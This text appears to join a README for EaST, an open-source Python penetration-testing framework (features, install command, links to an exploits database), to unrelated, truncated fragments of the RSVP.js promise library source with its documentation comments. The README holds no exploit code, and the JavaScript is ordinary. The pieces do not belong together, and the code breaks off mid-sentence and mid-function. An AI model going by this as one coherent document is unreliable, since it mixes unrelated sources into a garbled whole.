Overview\nPentest framework environment is the basis of IT security specialist’s toolkit.\nThis software is essential as for learning and improving of knowledge in IT systems attacks and for inspections and proactive protection.\nThe need of native comprehensive open source pen test framework with high level of trust existed for a long time. That is why EAST framework was created for native and native friendly IT security markets.\nEAST is a framework that has all necessary resources for wide range exploits to run, starting from Web to buffer overruns.\nEAST differs from similar toolkits by its ease of use. Even a beginner can handle it and start to advance in IT security.\n\nMain features:\n* Framework security.\n    Software used for IT security must have a high level of user trust. Easy to check open source Python code realized in EAST. It is used for all parts of the framework and modules. Relative little amount of code eases its verification by any user. No OS changes applied during software installation.\n* Framework maximum simplicity.\n    Archive downloads, main python script start.py launches, which allows exploits start-stop and message traffic. All handled local or remotely via browser.\n* Exploits simplicity of creation and editing.\n    Possibility to edit and add modules and exploits on the fly without restart. Module code body is easy and minimal in terms of amount.\n* Cross-platform + minimal requirements and dependencies.\nTests for Windows and Linux. Should function everywhere where Python is installed. Framework contains all dependencies and does not download additional libraries.\n* Full capacity of vanilla pen test framework.\n    In spite of simplicity and “unoverload” the framework has all necessary resources for wide range exploits to run, starting from Web to buffer overruns.\n* Wide enhancement possibilities.\n    Third party developers can create their own open source solutions or participate in EAST development by use of Server-client architecture, message traffic API and support libraries.\n\n## 2. Requirements\n* [Python 2](https://www.python.org/downloads/)\n\n## 3. Usage\n    git clone https://github.com/C0reL0ader/EaST && cd EaST\n    python start.py [-p PORT] [--all-interfaces]\n\n## 4. Additional resources\n* Exploits and Security Tools Framework [website](http://eastfw.com/).\n* [EaST Exploits DB](http://eastexploits.com/)\n* [EaST exploits developer guide](https://github.com/C0reL0ader/EaST/wiki)\n* [Twitter](https://twitter.com/EAST_framework)\n"

For example:\n\n      ```javascript\n      var promises = {\n        myPromise: RSVP.resolve(1),\n        rejectedPromise: RSVP.reject(new Error(\"rejectedPromise\")),\n        anotherRejectedPromise: RSVP.reject(new Error(\"anotherRejectedPromise\")),\n      };\n\n      RSVP.hash(promises).then(function(hash){\n        // Code here never runs because there are rejected promises!\n      }, function(reason) {\n        // reason.message === \"rejectedPromise\"\n      });\n      ```\n\n      An important note: `RSVP.hash` is intended for plain JavaScript objects that\n      are just a set of keys and values. `RSVP.hash` will NOT preserve prototype\n      chains.\n\n      Example:\n\n      ```javascript\n      function MyConstructor(){\n        this.example = RSVP.resolve(\"Example\");\n      }\n\n      MyConstructor.prototype = {\n        protoProperty: RSVP.resolve(\"Proto Property\")\n      };\n\n      var myObject = new MyConstructor();\n\n      RSVP.hash(myObject).then(function(hash){\n        // protoProperty will not be present, instead you will just have an\n        // object that looks like:\n        // {\n        //   example: \"Example\"\n        // }\n        //\n        // hash.hasOwnProperty('protoProperty'); // false\n        // 'undefined' === typeof hash.protoProperty\n      });\n      ```\n\n      @method hash\n      @for RSVP\n      @param {Object} promises\n      @param {String} label - optional string that describes the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled when all properties of `promises`\n      have been fulfilled, or rejected if any of them become rejected.\n    */\n    __exports__[\"default\"] = function hash(object, label) {\n      return new Promise(function(resolve, reject){\n        var results = {};\n        var keys = keysOf(object);\n        var remaining = keys.length;\n        var entry, property;\n\n        if (remaining === 0) {\n          resolve(results);\n          return;\n        }\n\n       function fulfilledTo(property) {\n          return function(value) {\n            results[property] = value;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          };\n        }\n\n        function onRejection(reason) {\n          remaining = 0;\n          reject(reason);\n        }\n\n        for (var i = 0; i < keys.length; i++) {\n          property = keys[i];\n          entry = object[property];\n\n          if (isNonThenable(entry)) {\n            results[property] = entry;\n            if (--remaining === 0) {\n              resolve(results);\n            }\n          } else {\n            Promise.cast(entry).then(fulfilledTo(property), onRejection);\n          }\n        }\n      });\n    };\n  });\ndefine(\"rsvp/instrument\", \n  [\"./config\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __exports__) {\n    \"use strict\";\n    var config = __dependency1__.config;\n    var now = __dependency2__.now;\n\n    __exports__[\"default\"] = function instrument(eventName, promise, child) {\n      // instrumentation should not disrupt normal usage.\n      try {\n        config.trigger(eventName, {\n          guid: promise._guidKey + promise._id,\n          eventName: eventName,\n          detail: promise._detail,\n          childGuid: child && promise._guidKey + child._id,\n          label: promise._label,\n          timeStamp: now(),\n          stack: new Error(promise._label).stack\n        });\n      } catch(error) {\n        setTimeout(function(){\n          throw error;\n        }, 0);\n      }\n    };\n  });\ndefine(\"rsvp/map\", \n  [\"./promise\",\"./all\",\"./utils\",\"exports\"],\n  function(__dependency1__, __dependency2__, __dependency3__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n    var all = __dependency2__[\"default\"];\n    var isArray = __dependency3__.isArray;\n    var isFunction = __dependency3__.isFunction;\n\n    /**\n\n     `RSVP.map` is similar to JavaScript's native `map` method, except that it\n      waits for all promises to become fulfilled before running the `mapFn` on\n      each item in given to `promises`. `RSVP.map` returns a promise that will\n      become fulfilled with the result of running `mapFn` on the values the promises\n      become fulfilled with.\n\n      For example:\n\n      ```javascript\n\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.resolve(2);\n      var promise3 = RSVP.resolve(3);\n      var promises = [ promise1, promise2, promise3 ];\n\n      var mapFn = function(item){\n        return item + 1;\n      };\n\n      RSVP.map(promises, mapFn).then(function(result){\n        // result is [ 2, 3, 4 ]\n      });\n      ```\n\n      If any of the `promises` given to `RSVP.map` are rejected, the first promise\n      that is rejected will be given as an argument to the returned promises's\n      rejection handler. For example:\n\n      ```javascript\n      var promise1 = RSVP.resolve(1);\n      var promise2 = RSVP.reject(new Error(\"2\"));\n      var promise3 = RSVP.reject(new Error(\"3\"));\n      var promises = [ promise1, promise2, promise3 ];\n\n      var mapFn = function(item){\n        return item + 1;\n      };\n\n      RSVP.map(promises, mapFn).then(function(array){\n        // Code here never runs because there are rejected promises!\n      }, function(reason) {\n        // reason.message === \"2\"\n      });\n      ```\n\n      `RSVP.map` will also wait if a promise is returned from `mapFn`. For example,\n      say you want to get all comments from a set of blog posts, but you need\n      the blog posts first becuase they contain a url to those comments.\n\n      ```javscript\n\n      var mapFn = function(blogPost){\n        // getComments does some ajax and returns an RSVP.Promise that is fulfilled\n        // with some comments data\n        return getComments(blogPost.comments_url);\n      };\n\n      // getBlogPosts does some ajax and returns an RSVP.Promise that is fulfilled\n      // with some blog post data\n      RSVP.map(getBlogPosts(), mapFn).then(function(comments){\n        // comments is the result of asking the server for the comments\n        // of all blog posts returned from getBlogPosts()\n      });\n      ```\n\n      @method map\n      @for RSVP\n      @param {Array} promises\n      @param {Function} mapFn function to be called on each fulfilled promise.\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise} promise that is fulfilled with the result of calling\n      `mapFn` on each fulfilled promise or value when they become fulfilled.\n       The promise will be rejected if any of the given `promises` become rejected.\n    */\n    __exports__[\"default\"] = function map(promises, mapFn, label) {\n\n      if (!isArray(promises)) {\n        throw new TypeError('You must pass an array to map.');\n      }\n\n      if (!isFunction(mapFn)){\n        throw new TypeError(\"You must pass a function to map's second argument.\");\n      }\n\n      return all(promises, label).then(function(results){\n        var resultLen = results.length,\n            mappedResults = [],\n            i;\n\n        for (i = 0; i < resultLen; i++){\n          mappedResults.push(mapFn(results[i]));\n        }\n\n        return all(mappedResults, label);\n      });\n    };\n  });\ndefine(\"rsvp/node\", \n  [\"./promise\",\"exports\"],\n  function(__dependency1__, __exports__) {\n    \"use strict\";\n    var Promise = __dependency1__[\"default\"];\n\n    var slice = Array.prototype.slice;\n\n    function makeNodeCallbackFor(resolve, reject) {\n      return function (error, value) {\n        if (error) {\n          reject(error);\n        } else if (arguments.length > 2) {\n          resolve(slice.call(arguments, 1));\n        } else {\n          resolve(value);\n        }\n      };\n    }\n\n    /**\n      `RSVP.denodeify` takes a \"node-style\" function and returns a function that\n      will return an `RSVP.Promise`. You can use `denodeify` in Node.js or the\n      browser when you'd prefer to use promises over using callbacks. For example,\n      `denodeify` transforms the following:\n\n      ```javascript\n      var fs = require('fs');\n\n      fs.readFile('myfile.txt', function(err, data){\n        if (err) return handleError(err);\n        handleData(data);\n      });\n      ```\n\n      into:\n\n      ```javascript\n      var fs = require('fs');\n\n      var readFile = RSVP.denodeify(fs.readFile);\n\n      readFile('myfile.txt').then(handleData, handleError);\n      ```\n\n      Using `denodeify` makes it easier to compose asynchronous operations instead\n      of using callbacks. For example, instead of:\n\n      ```javascript\n      var fs = require('fs');\n      var log = require('some-async-logger');\n\n      fs.readFile('myfile.txt', function(err, data){\n        if (err) return handleError(err);\n        fs.writeFile('myfile2.txt', data, function(err){\n          if (err) throw err;\n          log('success', function(err) {\n            if (err) throw err;\n          });\n        });\n      });\n      ```\n\n      You can chain the operations together using `then` from the returned promise:\n\n      ```javascript\n      var fs = require('fs');\n      var denodeify = RSVP.denodeify;\n      var readFile = denodeify(fs.readFile);\n      var writeFile = denodeify(fs.writeFile);\n      var log = denodeify(require('some-async-logger'));\n\n      readFile('myfile.txt').then(function(data){\n        return writeFile('myfile2.txt', data);\n      }).then(function(){\n        return log('SUCCESS');\n      }).then(function(){\n        // success handler\n      }, function(reason){\n        // rejection handler\n      });\n      ```\n\n      @method denodeify\n      @for RSVP\n      @param {Function} nodeFunc a \"node-style\" function that takes a callback as\n      its last argument.

This can be achieved by returning a promise in the\n      fulfillment or rejection handler.  The downstream promise will then be pending\n      until the returned promise is settled.  This is called *assimilation*.\n\n      ```js\n      findUser().then(function (user) {\n        return findCommentsByAuthor(user);\n      }).then(function (comments) {\n        // The user's comments are now available\n      });\n      ```\n\n      If the assimliated promise rejects, then the downstream promise will also reject.\n\n      ```js\n      findUser().then(function (user) {\n        return findCommentsByAuthor(user);\n      }).then(function (comments) {\n        // If `findCommentsByAuthor` fulfills, we'll have the value here\n      }, function (reason) {\n        // If `findCommentsByAuthor` rejects, we'll have the reason here\n      });\n      ```\n\n      Simple Example\n      --------------\n\n      Synchronous Example\n\n      ```javascript\n      var result;\n\n      try {\n        result = findResult();\n        // success\n      } catch(reason) {\n        // failure\n      }\n      ```\n\n      Errback Example\n\n      ```js\n      findResult(function(result, err){\n        if (err) {\n          // failure\n        } else {\n          // success\n        }\n      });\n      ```\n\n      Promise Example;\n\n      ```javacsript\n      findResult().then(function(result){\n\n      }, function(reason){\n\n      });\n      ```\n\n      Advanced Example\n      --------------\n\n      Synchronous Example\n\n      ```javascript\n      var author, books;\n\n      try {\n        author = findAuthor();\n        books  = findBooksByAuthor(author);\n        // success\n      } catch(reason) {\n        // failure\n      }\n      ```\n\n      Errback Example\n\n      ```js\n\n      function foundBooks(books) {\n\n      }\n\n      function failure(reason) {\n\n      }\n\n      findAuthor(function(author, err){\n        if (err) {\n          failure(err);\n          // failure\n        } else {\n          try {\n            findBoooksByAuthor(author, function(books, err) {\n              if (err) {\n                failure(err);\n              } else {\n                try {\n                  foundBooks(books);\n                } catch(reason) {\n                  failure(reason);\n                }\n              }\n            });\n          } catch(error) {\n            failure(err);\n          }\n          // success\n        }\n      });\n      ```\n\n      Promise Example;\n\n      ```javacsript\n      findAuthor().\n        then(findBooksByAuthor).\n        then(function(books){\n          // found books\n      }).catch(function(reason){\n        // something went wrong;\n      });\n      ```\n\n      @method then\n      @param {Function} onFulfillment\n      @param {Function} onRejection\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise}\n    */\n      then: function(onFulfillment, onRejection, label) {\n        var promise = this;\n        this._onerror = null;\n\n        var thenPromise = new this.constructor(noop, label);\n\n        if (this._state) {\n          var callbacks = arguments;\n          config.async(function invokePromiseCallback() {\n            invokeCallback(promise._state, thenPromise, callbacks[promise._state - 1], promise._detail);\n          });\n        } else {\n          subscribe(this, thenPromise, onFulfillment, onRejection);\n        }\n\n        if (config.instrument) {\n          instrument('chained', promise, thenPromise);\n        }\n\n        return thenPromise;\n      },\n\n    /**\n      `catch` is simply sugar for `then(null, onRejection)` which makes it the same\n      as the catch block, of a try/catch statement.\n\n      ```js\n      function findAuthor(){\n        throw new Error(\"couldn't find that author\");\n      }\n\n      // synchronous\n      try {\n        findAuthor();\n      } catch(reason) {\n\n      }\n\n      // async with promises\n      findAuthor().catch(function(reason){\n        // something went wrong;\n      });\n      ```\n\n      @method catch\n      @param {Function} onRejection\n      @param {String} label optional string for labeling the promise.\n      Useful for tooling.\n      @return {Promise}\n    */\n      'catch': function(onRejection, label) {\n        return this.then(null, onRejection, label);\n      },\n\n    /**\n      `finally` will be invoked regardless of the promise's fate just as native\n      try/catch/finally behaves\n\n      ```js\n      findAuthor() {\n        if (Math.random() > 0.5) {\n          throw new Error();\n        }\n        return new Author();\n      }\n\n      try {\n        return findAuthor();
